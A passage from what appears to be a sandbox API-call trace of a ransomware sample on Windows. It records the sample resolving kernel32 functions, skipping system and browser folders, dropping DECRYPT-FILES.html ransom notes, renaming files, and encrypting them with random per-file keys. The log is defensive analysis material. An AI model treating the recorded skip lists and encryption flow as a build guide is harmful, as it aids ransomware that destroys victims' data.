lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0114.603] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0114.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0114.603] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0114.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0114.603] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0114.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0114.603] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0114.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0114.603] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0114.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0114.603] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0114.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0114.603] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0114.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0114.603] lstrlenA (lpString="CREATEFILEW") returned 11 [0114.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0114.603] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0114.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0114.603] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0114.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0114.603] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0114.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0114.603] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0114.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0114.603] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0114.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0114.603] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0114.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0114.603] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0114.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0114.603] lstrlenA (lpString="CREATEJOBSET") returned 12 [0114.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0114.603] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0114.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0114.604] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0114.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0114.604] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0114.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0114.604] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0114.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0114.604] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0114.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0114.604] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0114.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0114.604] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0114.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0114.604] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0114.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0114.604] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0114.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0114.604] lstrlenA (lpString="CREATEPIPE") returned 10 [0114.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0114.604] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0114.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0114.604] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0114.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0114.604] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0114.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0114.604] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0114.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0114.604] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0114.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0114.604] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0114.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0114.604] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0114.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0114.604] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0114.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0114.604] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0114.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0114.604] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0114.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0114.604] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0114.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0114.605] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0114.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0114.605] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0114.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0114.605] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0114.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0114.605] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0114.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0114.605] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0114.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0114.605] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0114.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0114.605] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0114.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0114.605] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0114.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0114.605] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0114.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0114.605] lstrlenA (lpString="CREATETHREAD") returned 12 [0114.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0114.605] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0114.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0114.605] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0114.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0114.605] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0114.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0114.605] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0114.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0114.605] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0114.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0114.605] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0114.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0114.605] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0114.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0114.606] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.eR3U") returned 50 [0114.606] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), lpNewFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.eR3U" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.er3u"), dwFlags=0x0) returned 1 [0114.606] VirtualFree (lpAddress=0x38c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.607] VirtualFree (lpAddress=0x38d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.607] VirtualFree (lpAddress=0x31c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.607] FindNextFileW (in: hFindFile=0x6bbb70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0114.607] FindClose (in: hFindFile=0x6bbb70 | out: hFindFile=0x6bbb70) returned 1 [0114.607] CloseHandle (hObject=0x528) returned 1 [0114.607] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="1028", cAlternateFileName="")) returned 1 [0114.608] lstrcmpW (lpString1="1028", lpString2=".") returned 1 [0114.608] lstrcmpW (lpString1="1028", lpString2="..") returned 1 [0114.608] lstrcatW (in: lpString1="1028", lpString2="\\" | out: lpString1="1028\\") returned="1028\\" [0114.608] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1028\\" | out: lpString1="C:\\588bce7c90097ed212\\1028\\") returned="C:\\588bce7c90097ed212\\1028\\" [0114.608] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1028\\", lpSrch=":\\Windows") returned 0x0 [0114.608] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1028\\", lpSrch="\\Program Files") returned 0x0 [0114.608] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1028\\", lpSrch="\\Games\\") returned 0x0 [0114.608] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1028\\", lpSrch="\\Tor Browser\\") returned 0x0 [0114.608] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1028\\", lpSrch="\\ProgramData\\") returned 0x0 [0114.608] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1028\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0114.608] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1028\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0114.608] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1028\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0114.608] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1028\\", lpSrch="\\All Users") returned 0x0 [0114.608] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\") returned 27 [0114.608] lstrlenW (lpString="eogwkz.dat") returned 10 [0114.608] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1028\\\\eogwkz.dat") returned 38 [0114.608] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1028\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x528 [0114.609] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\") returned 27 [0114.609] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0114.609] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1028\\\\DECRYPT-FILES.html") returned 46 [0114.609] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\\\DECRYPT-FILES.html" (normalized: "c:\\588bce7c90097ed212\\1028\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0114.691] WriteFile (in: hFile=0x470, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0114.692] CloseHandle (hObject=0x470) returned 1 [0114.692] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\") returned 27 [0114.692] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1028\\", lpString2="*" | out: lpString1="C:\\588bce7c90097ed212\\1028\\*") returned="C:\\588bce7c90097ed212\\1028\\*" [0114.692] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4a9cafa5, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6bbb70 [0114.692] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0114.693] FindNextFileW (in: hFindFile=0x6bbb70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4a9cafa5, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0114.693] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0114.693] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0114.693] FindNextFileW (in: hFindFile=0x6bbb70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a90c63e, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x4a90c63e, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x4a9cafa5, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0114.693] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0114.693] FindNextFileW (in: hFindFile=0x6bbb70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a90c63e, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x4a90c63e, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x4a90c63e, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0114.693] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0114.693] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0114.693] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0114.693] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0114.693] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0114.693] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0114.693] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0114.693] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0114.693] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0114.693] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0114.693] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\") returned 27 [0114.693] lstrlenW (lpString="eogwkz.dat") returned 10 [0114.693] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1028\\" | out: lpString1="C:\\588bce7c90097ed212\\1028\\") returned="C:\\588bce7c90097ed212\\1028\\" [0114.693] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1028\\", lpString2="eogwkz.dat" | out: lpString1="C:\\588bce7c90097ed212\\1028\\eogwkz.dat") returned="C:\\588bce7c90097ed212\\1028\\eogwkz.dat" [0114.693] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x31c0000 [0114.693] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1028\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.694] CloseHandle (hObject=0x0) returned 0 [0114.694] VirtualFree (lpAddress=0x31c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.694] FindNextFileW (in: hFindFile=0x6bbb70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0114.694] lstrcmpiW (lpString1="eula.rtf", lpString2="DECRYPT-FILES.html") returned 1 [0114.694] lstrcmpiW (lpString1="eula.rtf", lpString2="autorun.inf") returned 1 [0114.694] lstrcmpiW (lpString1="eula.rtf", lpString2="boot.ini") returned 1 [0114.694] lstrcmpiW (lpString1="eula.rtf", lpString2="desktop.ini") returned 1 [0114.694] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat") returned -1 [0114.694] lstrcmpiW (lpString1="eula.rtf", lpString2="iconcache.db") returned -1 [0114.694] lstrcmpiW (lpString1="eula.rtf", lpString2="bootsect.bak") returned 1 [0114.694] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat.log") returned -1 [0114.694] lstrcmpiW (lpString1="eula.rtf", lpString2="thumbs.db") returned -1 [0114.694] lstrcmpiW (lpString1="eula.rtf", lpString2="Bootfont.bin") returned 1 [0114.694] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\") returned 27 [0114.694] lstrlenW (lpString="eula.rtf") returned 8 [0114.694] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1028\\" | out: lpString1="C:\\588bce7c90097ed212\\1028\\") returned="C:\\588bce7c90097ed212\\1028\\" [0114.694] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1028\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned="C:\\588bce7c90097ed212\\1028\\eula.rtf" [0114.694] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x31c0000 [0114.695] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490 [0114.695] GetFileSizeEx (in: hFile=0x490, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=6309) returned 1 [0114.695] CreateFileMappingW (hFile=0x490, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x46c [0114.695] MapViewOfFile (hFileMappingObject=0x46c, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x38c0000 [0115.086] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x31c0000 | out: pbBuffer=0x31c0000) returned 1 [0115.086] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x31c0020 | out: pbBuffer=0x31c0020) returned 1 [0115.086] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x38d0000 [0115.087] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x38d0000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x38d0000*, pdwDataLen=0x38be718*=0x100) returned 1 [0115.087] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x38e0000 [0115.088] VirtualFree (lpAddress=0x38e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.088] UnmapViewOfFile (lpBaseAddress=0x38c0000) returned 1 [0115.088] CloseHandle (hObject=0x46c) returned 1 [0115.088] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.088] WriteFile (in: hFile=0x490, lpBuffer=0x38d0000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x38d0000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0115.089] CloseHandle (hObject=0x0) returned 0 [0115.089] CloseHandle (hObject=0x490) returned 1 [0115.090] VirtualFree (lpAddress=0x38d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.090] VirtualFree (lpAddress=0x31c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.091] GetTickCount () returned 0x323b6 [0115.091] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x31c0000 [0115.091] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0115.091] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x38c0000 [0115.091] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x38d0000 [0115.092] lstrlenA (lpString="kernel32.dll") returned 12 [0115.092] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0115.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0115.092] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0115.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0115.092] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0115.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0115.092] lstrlenA 